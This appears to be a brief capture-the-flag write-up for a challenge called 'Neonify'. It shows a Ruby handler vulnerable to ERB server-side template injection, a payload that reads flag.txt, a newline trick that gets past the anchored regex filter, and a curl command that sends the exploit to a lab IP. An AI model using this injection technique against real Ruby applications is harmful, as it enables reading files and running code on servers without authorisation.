Skip to content

Neonify

post '/' do
    if params[:neon] =~ /^[0-9a-z ]+$/i
      @neon = ERB.new(params[:neon]).result(binding)
    else
      @neon = "Malicious Input Detected"
    end
    erb :'index'
  end

# Read file
<%= File.open('flag.txt').read %>

# URL encoded
%3C%25=%20File.open('flag.txt').read%20%25%3E%20#%20Read%20file%0A

# start a new line to bypass RegEx filter
neon=a
%3C%25=%20File.open('flag.txt').read%20%25%3E%20#%20Read%20file%0A

$ curl http://94.237.48.147:48313/ \
  -s -X POST -d 'neon=a
%3C%25%3D%20File.open%28%27flag.txt%27%29.read%20%25%3E'

alt text